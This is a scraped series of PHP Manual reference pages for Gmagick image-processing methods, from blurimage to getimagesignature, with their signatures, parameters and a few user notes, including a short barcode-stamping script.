Gmagick::blurimage
Gmagick


Adds blur filter to image

Gmagick::annotateimage
Gmagick::borderimage
Gmagick
PHP Manual

Gmagick::blurimage

(PECL gmagick >= Unknown)

Gmagick::blurimage — Adds blur filter to image

Description

public Gmagick Gmagick::blurimage ( float $radius , float $sigma [, int $channel ] )

Adds blur filter to image.

Parameters

radius

Blur radius

sigma

Standard deviation

Return Values

The blurred Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::annotateimage
Gmagick::borderimage
Gmagick


Surrounds the image with a border

Gmagick::blurimage
Gmagick::charcoalimage
Gmagick
PHP Manual

Gmagick::borderimage

(PECL gmagick >= Unknown)

Gmagick::borderimage — Surrounds the image with a border

Description

public Gmagick Gmagick::borderimage ( GmagickPixel $color , int $width , int $height )

Surrounds the image with a border of the color defined by the bordercolor GmagickPixel object or a color string.

Parameters

color

GmagickPixel object or a string containing the border color

width

Border width

height

Border height

Return Values

The Gmagick object with border defined

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::blurimage
Gmagick::charcoalimage
Gmagick


Simulates a charcoal drawing

Gmagick::borderimage
Gmagick::chopimage
Gmagick
PHP Manual

Gmagick::charcoalimage

(PECL gmagick >= Unknown)

Gmagick::charcoalimage — Simulates a charcoal drawing

Description

public Gmagick Gmagick::charcoalimage ( float $radius , float $sigma )

Simulates a charcoal drawing.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel

sigma

The standard deviation of the Gaussian, in pixels

Return Values

The Gmagick object with charcoal simulation

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::borderimage
Gmagick::chopimage
Gmagick


Removes a region of an image and trims

Gmagick::charcoalimage
Gmagick::clear
Gmagick
PHP Manual

Gmagick::chopimage

(PECL gmagick >= Unknown)

Gmagick::chopimage — Removes a region of an image and trims

Description

public Gmagick Gmagick::chopimage ( int $width , int $height , int $x , int $y )

Removes a region of an image and collapses the image to occupy the removed portion.

Parameters

width

Width of the chopped area

height

Height of the chopped area

x

X origo of the chopped area

y

Y origo of the chopped area

Return Values

The chopped Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::charcoalimage
Gmagick::clear
Gmagick


Clears all resources associated to Gmagick object

Gmagick::chopimage
Gmagick::commentimage
Gmagick
PHP Manual

Gmagick::clear

(PECL gmagick >= Unknown)

Gmagick::clear — Clears all resources associated to Gmagick object

Description

public Gmagick Gmagick::clear ( void )

Clears all resources associated to Gmagick object

Parameters

This function has no parameters.

Return Values

The cleared Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::chopimage
Gmagick::commentimage
Gmagick


Adds a comment to your image

Gmagick::clear
Gmagick::compositeimage
Gmagick
PHP Manual

Gmagick::commentimage

(PECL gmagick >= Unknown)

Gmagick::commentimage — Adds a comment to your image

Description

public Gmagick Gmagick::commentimage ( string $comment )

Adds a comment to your image.

Parameters

comment

The comment to add

Return Values

The Gmagick object with comment added.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::clear
Gmagick::compositeimage
Gmagick


Composite one image onto another

Gmagick::commentimage
Gmagick::__construct
Gmagick
PHP Manual

Gmagick::compositeimage

(PECL gmagick >= Unknown)

Gmagick::compositeimage — Composite one image onto another

Description

public Gmagick Gmagick::compositeimage ( Gmagick $source , int $COMPOSE , int $x , int $y )

Composite one image onto another at the specified offset.

Parameters

source

Gmagick object which holds the composite image

compose

Composite operator.

x

The column offset of the composited image

y

The row offset of the composited image

Return Values

The Gmagick object with compositions.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

Paul Janik 07-Sep-2011 06:59
The second parameter, $COMPOSE, has 3 usable values:

1 = the image is displayed normally;
2 = the image is displayed on a white background;
3 = the image is display in black on a white background;

Paul.
wallace Lau kok poh 04-Aug-2011 12:03
Quick script for stamping a small image on a large image

#!/usr/bin/php
<?php
//  <wallace@wallacelau.com>
//Instantiate a new Gmagick object
$imgMain = new Gmagick('Torso_F.tiff');

// get the image width
$width = (int) ($imgMain->getimagewidth() /2) - 150;

//Instantiate a barcode img Gmagick object
$imgBarcode = new Gmagick('barcode.jpeg');

//stamp the barcode on top of the Main image
$imgMain->compositeimage($imgBarcode, 1, $width, 150);
//Write the current image at the current state to a file
$imgMain->write('withBarcode.tiff');

?>
Gmagick::commentimage
Gmagick::__construct
Gmagick


The Gmagick constructor

Gmagick::compositeimage
Gmagick::cropimage
Gmagick
PHP Manual

Gmagick::__construct

(PECL gmagick >= Unknown)

Gmagick::__construct — The Gmagick constructor

Description

public Gmagick::__construct ([ string $filename ] )

The Gmagick constructor.

Parameters

filename

The path to an image to load or array of paths

Return Values

Returns a new Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::compositeimage
Gmagick::cropimage
Gmagick


Extracts a region of the image

Gmagick::__construct
Gmagick::cropthumbnailimage
Gmagick
PHP Manual

Gmagick::cropimage

(PECL gmagick >= Unknown)

Gmagick::cropimage — Extracts a region of the image

Description

public Gmagick Gmagick::cropimage ( int $width , int $height , int $x , int $y )

Extracts a region of the image.

Parameters

width

The width of the crop

height

The height of the crop

x

The X coordinate of the cropped region's top left corner

y

The Y coordinate of the cropped region's top left corner

Return Values

The cropped Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

martin at arp242 dot net 22-Jun-2011 12:52
A slight note since this is not immediately obvious:
Just as the C CropImage() function, you can specify all zero parameters to get an "autocrop" effect, meaning it will remove all single-color "edges" of an image.
Gmagick::__construct
Gmagick::cropthumbnailimage
Gmagick


Creates a crop thumbnail

Gmagick::cropimage
Gmagick::current
Gmagick
PHP Manual

Gmagick::cropthumbnailimage

(PECL gmagick >= Unknown)

Gmagick::cropthumbnailimage — Creates a crop thumbnail

Description

public Gmagick Gmagick::cropthumbnailimage ( int $width , int $height )

Creates a fixed size thumbnail by first scaling the image down and cropping a specified area from the center.

Parameters

width

The width of the thumbnail

height

The Height of the thumbnail

Return Values

The cropped Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::cropimage
Gmagick::current
Gmagick


The current purpose

Gmagick::cropthumbnailimage
Gmagick::cyclecolormapimage
Gmagick
PHP Manual

Gmagick::current

(PECL gmagick >= Unknown)

Gmagick::current — The current purpose

Description

public Gmagick Gmagick::current ( void )

Returns reference to the current gmagick object with image pointer at the correct sequence.

Parameters

This function has no parameters.

Return Values

Returns self on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::cropthumbnailimage
Gmagick::cyclecolormapimage
Gmagick


Displaces an image's colormap

Gmagick::current
Gmagick::deconstructimages
Gmagick
PHP Manual

Gmagick::cyclecolormapimage

(PECL gmagick >= Unknown)

Gmagick::cyclecolormapimage — Displaces an image's colormap

Description

public Gmagick Gmagick::cyclecolormapimage ( int $displace )

Displaces an image's colormap by a given number of positions. If you cycle the colormap a number of times you can produce a psychedelic effect.

Parameters

displace

The amount to displace the colormap.

Return Values

Returns self on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::current
Gmagick::deconstructimages
Gmagick


Returns certain pixel differences between images

Gmagick::cyclecolormapimage
Gmagick::despeckleimage
Gmagick
PHP Manual

Gmagick::deconstructimages

(PECL gmagick >= Unknown)

Gmagick::deconstructimages — Returns certain pixel differences between images

Description

public void Gmagick::deconstructimages ( void )

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers.

Parameters

This function has no parameters.

Return Values

Returns self on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::cyclecolormapimage
Gmagick::despeckleimage
Gmagick


The despeckleimage purpose

Gmagick::deconstructimages
Gmagick::destroy
Gmagick
PHP Manual

Gmagick::despeckleimage

(PECL gmagick >= Unknown)

Gmagick::despeckleimage — The despeckleimage purpose

Description

public Gmagick Gmagick::despeckleimage ( void )

Reduces the speckle noise in an image while preserving the edges of the original image.

Parameters

This function has no parameters.

Return Values

The despeckled Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

Examples

Example #1 Gmagick::despeckleimage() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::deconstructimages
Gmagick::destroy
Gmagick


The destroy purpose

Gmagick::despeckleimage
Gmagick::drawimage
Gmagick
PHP Manual

Gmagick::destroy

(PECL gmagick >= Unknown)

Gmagick::destroy — The destroy purpose

Description

public Gmagick Gmagick::destroy ( void )

Destroys the Gmagick object and frees all resources associated with it

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::despeckleimage
Gmagick::drawimage
Gmagick


Renders the GmagickDraw object on the current image

Gmagick::destroy
Gmagick::edgeimage
Gmagick
PHP Manual

Gmagick::drawimage

(PECL gmagick >= Unknown)

Gmagick::drawimage — Renders the GmagickDraw object on the current image

Description

public Gmagick Gmagick::drawimage ( GmagickDraw $GmagickDraw )

Renders the GmagickDraw object on the current image

Parameters

GmagickDraw

The drawing operations to render on the image.

Return Values

The drawn Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::destroy
Gmagick::edgeimage
Gmagick


Enhance edges within the image

Gmagick::drawimage
Gmagick::embossimage
Gmagick
PHP Manual

Gmagick::edgeimage

(PECL gmagick >= Unknown)

Gmagick::edgeimage — Enhance edges within the image

Description

public Gmagick Gmagick::edgeimage ( float $radius )

Enhance edges within the image with a convolution filter of the given radius. Use radius 0 and it will be auto-selected.

Parameters

radius

The radius of the operation.

Return Values

The Gmagick object with edges enhanced.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::drawimage
Gmagick::embossimage
Gmagick


Returns a grayscale image with a three-dimensional effect

Gmagick::edgeimage
Gmagick::enhanceimage
Gmagick
PHP Manual

Gmagick::embossimage

(PECL gmagick >= Unknown)

Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect

Description

public Gmagick Gmagick::embossimage ( float $radius , float $sigma )

Returns a grayscale image with a three-dimensional effect. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and it will choose a suitable radius for you.

Parameters

radius

The radius of the effect

sigma

The sigma of the effect

Return Values

The embossed Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::edgeimage
Gmagick::enhanceimage
Gmagick


Improves the quality of a noisy image

Gmagick::embossimage
Gmagick::equalizeimage
Gmagick
PHP Manual

Gmagick::enhanceimage

(PECL gmagick >= Unknown)

Gmagick::enhanceimage — Improves the quality of a noisy image

Description

public Gmagick Gmagick::enhanceimage ( void )

Applies a digital filter that improves the quality of a noisy image.

Return Values

The enhanced Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::embossimage
Gmagick::equalizeimage
Gmagick


Equalizes the image histogram

Gmagick::enhanceimage
Gmagick::flipimage
Gmagick
PHP Manual

Gmagick::equalizeimage

(PECL gmagick >= Unknown)

Gmagick::equalizeimage — Equalizes the image histogram

Description

public Gmagick Gmagick::equalizeimage ( void )

Equalizes the image histogram.

Return Values

The equalized Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::enhanceimage
Gmagick::flipimage
Gmagick


Creates a vertical mirror image

Gmagick::equalizeimage
Gmagick::flopimage
Gmagick
PHP Manual

Gmagick::flipimage

(PECL gmagick >= Unknown)

Gmagick::flipimage — Creates a vertical mirror image

Description

public Gmagick Gmagick::flipimage ( void )

Creates a vertical mirror image by reflecting the pixels around the central x-axis.

Return Values

The flipped Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::equalizeimage
Gmagick::flopimage
Gmagick


The flopimage purpose

Gmagick::flipimage
Gmagick::frameimage
Gmagick
PHP Manual

Gmagick::flopimage

(PECL gmagick >= Unknown)

Gmagick::flopimage — The flopimage purpose

Description

public Gmagick Gmagick::flopimage ( void )

Creates a horizontal mirror image by reflecting the pixels around the central y-axis.

Return Values

The flopped Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::flipimage
Gmagick::frameimage
Gmagick


Adds a simulated three-dimensional border

Gmagick::flopimage
Gmagick::gammaimage
Gmagick
PHP Manual

Gmagick::frameimage

(PECL gmagick >= Unknown)

Gmagick::frameimage — Adds a simulated three-dimensional border

Description

public Gmagick Gmagick::frameimage ( GmagickPixel $color , int $width , int $height , int $inner_bevel , int $outer_bevel )

Adds a simulated three-dimensional border around the image. The width and height specify the border width of the vertical and horizontal sides of the frame. The inner and outer bevels indicate the width of the inner and outer shadows of the frame.

Parameters

color

GmagickPixel object or a float representing the matte color

width

The width of the border

height

The height of the border

inner_bevel

The inner bevel width

outer_bevel

The outer bevel width

Return Values

The framed Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::flopimage
Gmagick::gammaimage
Gmagick


Gamma-corrects an image

Gmagick::frameimage
Gmagick::getcopyright
Gmagick
PHP Manual

Gmagick::gammaimage

(PECL gmagick >= Unknown)

Gmagick::gammaimage — Gamma-corrects an image

Description

public Gmagick Gmagick::gammaimage ( float $gamma )

Gamma-corrects an image. The same image viewed on different devices will have perceptual differences in the way the image's intensities are represented on the screen. Specify individual gamma levels for the red, green, and blue channels, or adjust all three with the gamma parameter. Values typically range from 0.8 to 2.3.

Parameters

gamma

The amount of gamma-correction.

Return Values

The gamma corrected Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::frameimage
Gmagick::getcopyright
Gmagick


Returns the GraphicsMagick API copyright as a string

Gmagick::gammaimage
Gmagick::getfilename
Gmagick
PHP Manual

Gmagick::getcopyright

(PECL gmagick >= Unknown)

Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string

Description

public string Gmagick::getcopyright ( void )

Returns the GraphicsMagick API copyright as a string.

Return Values

Returns a string containing the copyright notice of GraphicsMagick and Magickwand C API.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::gammaimage
Gmagick::getfilename
Gmagick


The filename associated with an image sequence

Gmagick::getcopyright
Gmagick::getimagebackgroundcolor
Gmagick
PHP Manual

Gmagick::getfilename

(PECL gmagick >= Unknown)

Gmagick::getfilename — The filename associated with an image sequence

Description

public string Gmagick::getfilename ( void )

Returns the filename associated with an image sequence.

Return Values

Returns a string on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getcopyright
Gmagick::getimagebackgroundcolor
Gmagick


Returns the image background color

Gmagick::getfilename
Gmagick::getimageblueprimary
Gmagick
PHP Manual

Gmagick::getimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::getimagebackgroundcolor — Returns the image background color

Description

public void Gmagick::getimagebackgroundcolor ( void )

Returns the image background color.

Parameters

This function has no parameters.

Return Values

Returns an GmagickPixel set to the background color of the image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getfilename
Gmagick::getimageblueprimary
Gmagick


Returns the chromaticy blue primary point

Gmagick::getimagebackgroundcolor
Gmagick::getimagebordercolor
Gmagick
PHP Manual

Gmagick::getimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::getimageblueprimary — Returns the chromaticy blue primary point

Description

public array Gmagick::getimageblueprimary ( void )

Returns the chromaticity blue primary point for the image.

Parameters

x

The chromaticity blue primary x-point.

y

The chromaticity blue primary y-point.

Return Values

Array consisting of "x" and "y" coordinates of point.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagebackgroundcolor
Gmagick::getimagebordercolor
Gmagick


Returns the image border color

Gmagick::getimageblueprimary
Gmagick::getimagechanneldepth
Gmagick
PHP Manual

Gmagick::getimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::getimagebordercolor — Returns the image border color

Description

public void Gmagick::getimagebordercolor ( void )

Returns the image border color.

Parameters

This function has no parameters.

Return Values

GmagickPixel object representing the color of the border

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageblueprimary
Gmagick::getimagechanneldepth
Gmagick


Gets the depth for a particular image channel

Gmagick::getimagebordercolor
Gmagick::getimagecolors
Gmagick
PHP Manual

Gmagick::getimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::getimagechanneldepth — Gets the depth for a particular image channel

Description

public int Gmagick::getimagechanneldepth ( int $channel_type )

Gets the depth for a particular image channel.

Parameters

This function has no parameters.

Return Values

Depth of image channel

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagebordercolor
Gmagick::getimagecolors
Gmagick


Returns the color of the specified colormap index

Gmagick::getimagechanneldepth
Gmagick::getimagecolorspace
Gmagick
PHP Manual

Gmagick::getimagecolors

(PECL gmagick >= Unknown)

Gmagick::getimagecolors — Returns the color of the specified colormap index

Description

public int Gmagick::getimagecolors ( void )

Returns the color of the specified colormap index.

Parameters

This function has no parameters.

Return Values

The number of colors in image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagechanneldepth
Gmagick::getimagecolorspace
Gmagick


Gets the image colorspace

Gmagick::getimagecolors
Gmagick::getimagecompose
Gmagick
PHP Manual

Gmagick::getimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::getimagecolorspace — Gets the image colorspace

Description

public int Gmagick::getimagecolorspace ( void )

Gets the image colorspace.

Parameters

This function has no parameters.

Return Values

Colorspace

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagecolors
Gmagick::getimagecompose
Gmagick


Returns the composite operator associated with the image

Gmagick::getimagecolorspace
Gmagick::getimagedelay
Gmagick
PHP Manual

Gmagick::getimagecompose

(PECL gmagick >= Unknown)

Gmagick::getimagecompose — Returns the composite operator associated with the image

Description

public int Gmagick::getimagecompose ( void )

Returns the composite operator associated with the image.

Parameters

This function has no parameters.

Return Values

Returns the composite operator associated with the image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagecolorspace
Gmagick::getimagedelay
Gmagick


Gets the image delay

Gmagick::getimagecompose
Gmagick::getimagedepth
Gmagick
PHP Manual

Gmagick::getimagedelay

(PECL gmagick >= Unknown)

Gmagick::getimagedelay — Gets the image delay

Description

public int Gmagick::getimagedelay ( void )

Gets the image delay

Parameters

This function has no parameters.

Return Values

Returns the composite operator associated with the image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagecompose
Gmagick::getimagedepth
Gmagick


Gets the depth of the image

Gmagick::getimagedelay
Gmagick::getimagedispose
Gmagick
PHP Manual

Gmagick::getimagedepth

(PECL gmagick >= Unknown)

Gmagick::getimagedepth — Gets the depth of the image

Description

public int Gmagick::getimagedepth ( void )

Gets the depth of the image.

Parameters

This function has no parameters.

Return Values

Image depth

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagedelay
Gmagick::getimagedispose
Gmagick


Gets the image disposal method

Gmagick::getimagedepth
Gmagick::getimageextrema
Gmagick
PHP Manual

Gmagick::getimagedispose

(PECL gmagick >= Unknown)

Gmagick::getimagedispose — Gets the image disposal method

Description

public int Gmagick::getimagedispose ( void )

Gets the image disposal method

Parameters

This function has no parameters.

Return Values

Returns the dispose method on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagedepth
Gmagick::getimageextrema
Gmagick


Gets the extrema for the image

Gmagick::getimagedispose
Gmagick::getimagefilename
Gmagick
PHP Manual

Gmagick::getimageextrema

(PECL gmagick >= Unknown)

Gmagick::getimageextrema — Gets the extrema for the image

Description

public array Gmagick::getimageextrema ( void )

Returns an associative array with the keys "min" and "max". Throws an GmagickException on error.

Parameters

This function has no parameters.

Return Values

Returns an associative array with the keys "min" and "max".

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagedispose
Gmagick::getimagefilename
Gmagick


Returns the filename of a particular image in a sequence

Gmagick::getimageextrema
Gmagick::getimageformat
Gmagick
PHP Manual

Gmagick::getimagefilename

(PECL gmagick >= Unknown)

Gmagick::getimagefilename — Returns the filename of a particular image in a sequence

Description

public string Gmagick::getimagefilename ( void )

Returns the filename of a particular image in a sequence

Parameters

This function has no parameters.

Return Values

Returns a string with the filename of the image

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageextrema
Gmagick::getimageformat
Gmagick


Returns the format of a particular image in a sequence

Gmagick::getimagefilename
Gmagick::getimagegamma
Gmagick
PHP Manual

Gmagick::getimageformat

(PECL gmagick >= Unknown)

Gmagick::getimageformat — Returns the format of a particular image in a sequence

Description

public string Gmagick::getimageformat ( void )

Returns the format of a particular image in a sequence.

Parameters

This function has no parameters.

Return Values

Returns a string containing the image format on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagefilename
Gmagick::getimagegamma
Gmagick


Gets the image gamma

Gmagick::getimageformat
Gmagick::getimagegreenprimary
Gmagick
PHP Manual

Gmagick::getimagegamma

(PECL gmagick >= Unknown)

Gmagick::getimagegamma — Gets the image gamma

Description

public float Gmagick::getimagegamma ( void )

Gets the image gamma

Parameters

This function has no parameters.

Return Values

Returns the image gamma on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageformat
Gmagick::getimagegreenprimary
Gmagick


Returns the chromaticy green primary point

Gmagick::getimagegamma
Gmagick::getimageheight
Gmagick
PHP Manual

Gmagick::getimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::getimagegreenprimary — Returns the chromaticy green primary point

Description

public array Gmagick::getimagegreenprimary ( void )

Returns the chromaticity green primary point. Returns an array with the keys "x" and "y".

Parameters

This function has no parameters.

Return Values

Returns an array with the keys "x" and "y" on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagegamma
Gmagick::getimageheight
Gmagick


Returns the image height

Gmagick::getimagegreenprimary
Gmagick::getimagehistogram
Gmagick
PHP Manual

Gmagick::getimageheight

(PECL gmagick >= Unknown)

Gmagick::getimageheight — Returns the image height

Description

public int Gmagick::getimageheight ( void )

Returns the image height

Parameters

This function has no parameters.

Return Values

Returns the image height in pixels.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagegreenprimary
Gmagick::getimagehistogram
Gmagick


Gets the image histogram

Gmagick::getimageheight
Gmagick::getimageindex
Gmagick
PHP Manual

Gmagick::getimagehistogram

(PECL gmagick >= Unknown)

Gmagick::getimagehistogram — Gets the image histogram

Description

public array Gmagick::getimagehistogram ( void )

Returns the image histogram as an array of GmagickPixel objects. Throw an GmagickException on error.

Parameters

This function has no parameters.

Return Values

Returns the image histogram as an array of GmagickPixel objects.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageheight
Gmagick::getimageindex
Gmagick


Gets the index of the current active image

Gmagick::getimagehistogram
Gmagick::getimageinterlacescheme
Gmagick
PHP Manual

Gmagick::getimageindex

(PECL gmagick >= Unknown)

Gmagick::getimageindex — Gets the index of the current active image

Description

public int Gmagick::getimageindex ( void )

Returns the index of the current active image within the Gmagick object.

Parameters

This function has no parameters.

Return Values

Index of current active image

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagehistogram
Gmagick::getimageinterlacescheme
Gmagick


Gets the image interlace scheme

Gmagick::getimageindex
Gmagick::getimageiterations
Gmagick
PHP Manual

Gmagick::getimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::getimageinterlacescheme — Gets the image interlace scheme

Description

public int Gmagick::getimageinterlacescheme ( void )

Gets the image interlace scheme.

Parameters

This function has no parameters.

Return Values

Returns the interlace scheme as an integer on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageindex
Gmagick::getimageiterations
Gmagick


Gets the image iterations

Gmagick::getimageinterlacescheme
Gmagick::getimagematte
Gmagick
PHP Manual

Gmagick::getimageiterations

(PECL gmagick >= Unknown)

Gmagick::getimageiterations — Gets the image iterations

Description

public int Gmagick::getimageiterations ( void )

Gets the image iterations.

Parameters

This function has no parameters.

Return Values

Returns the image iterations as an integer.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageinterlacescheme
Gmagick::getimagematte
Gmagick


Return if the image has a matte channel

Gmagick::getimageiterations
Gmagick::getimagemattecolor
Gmagick
PHP Manual

Gmagick::getimagematte

(PECL gmagick >= Unknown)

Gmagick::getimagematte — Return if the image has a matte channel

Description

public int Gmagick::getimagematte ( void )

Returns TRUE if the image has a matte channel otherwise false.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the image has a matte channel otherwise false.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageiterations
Gmagick::getimagemattecolor
Gmagick


Returns the image matte color

Gmagick::getimagematte
Gmagick::getimageprofile
Gmagick
PHP Manual

Gmagick::getimagemattecolor

(PECL gmagick >= Unknown)

Gmagick::getimagemattecolor — Returns the image matte color

Description

public void Gmagick::getimagemattecolor ( void )

Returns GmagickPixel object on success. Throw an GmagickException on error.

Parameters

This function has no parameters.

Return Values

Returns GmagickPixel object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagematte
Gmagick::getimageprofile
Gmagick


Returns the named image profile.

Gmagick::getimagemattecolor
Gmagick::getimageredprimary
Gmagick
PHP Manual

Gmagick::getimageprofile

(PECL gmagick >= Unknown)

Gmagick::getimageprofile — Returns the named image profile.

Description

public string Gmagick::getimageprofile ( string $name )

Returns the named image profile.

Parameters

This function has no parameters.

Return Values

Returns a string containing the image profile.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagemattecolor
Gmagick::getimageredprimary
Gmagick


Returns the chromaticity red primary point

Gmagick::getimageprofile
Gmagick::getimagerenderingintent
Gmagick
PHP Manual

Gmagick::getimageredprimary

(PECL gmagick >= Unknown)

Gmagick::getimageredprimary — Returns the chromaticity red primary point

Description

public array Gmagick::getimageredprimary ( void )

Returns the chromaticity red primary point as an array with the keys "x" and "y".

Parameters

This function has no parameters.

Return Values

Returns the chromaticity red primary point as an array with the keys "x" and "y".

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageprofile
Gmagick::getimagerenderingintent
Gmagick


Gets the image rendering intent

Gmagick::getimageredprimary
Gmagick::getimageresolution
Gmagick
PHP Manual

Gmagick::getimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::getimagerenderingintent — Gets the image rendering intent

Description

public int Gmagick::getimagerenderingintent ( void )

Gets the image rendering intent

Parameters

This function has no parameters.

Return Values

Extracts a region of the image and returns it as a a new wand

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageredprimary
Gmagick::getimageresolution
Gmagick


Gets the image X and Y resolution

Gmagick::getimagerenderingintent
Gmagick::getimagescene
Gmagick
PHP Manual

Gmagick::getimageresolution

(PECL gmagick >= Unknown)

Gmagick::getimageresolution — Gets the image X and Y resolution

Description

public array Gmagick::getimageresolution ( void )

Returns the resolution as an array.

Parameters

This function has no parameters.

Return Values

Returns the resolution as an array.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagerenderingintent
Gmagick::getimagescene
Gmagick


Gets the image scene

Gmagick::getimageresolution
Gmagick::getimagesignature
Gmagick
PHP Manual

Gmagick::getimagescene

(PECL gmagick >= Unknown)

Gmagick::getimagescene — Gets the image scene

Description

public int Gmagick::getimagescene ( void )

Gets the image scene.

Parameters

This function has no parameters.

Return Values

Returns the image scene.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageresolution
Gmagick::getimagesignature
Gmagick


Generates an SHA-256 message digest

Gmagick::getimagescene
Gmagick::getimagetype
Gmagick
PHP Manual

Gmagick::getimagesignature

(PECL gmagick >= Unknown)

Gmagick::getimagesignature — Generates an SHA-256 message digest

Description

public string Gmagick::getimagesignature ( void )

Generates an SHA-256 message digest for the image pixel stream.

Parameters

This function has no parameters.

Return Values

Returns a string containing the SHA-256 hash of the file.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagescene
Gmagick::getimagetype
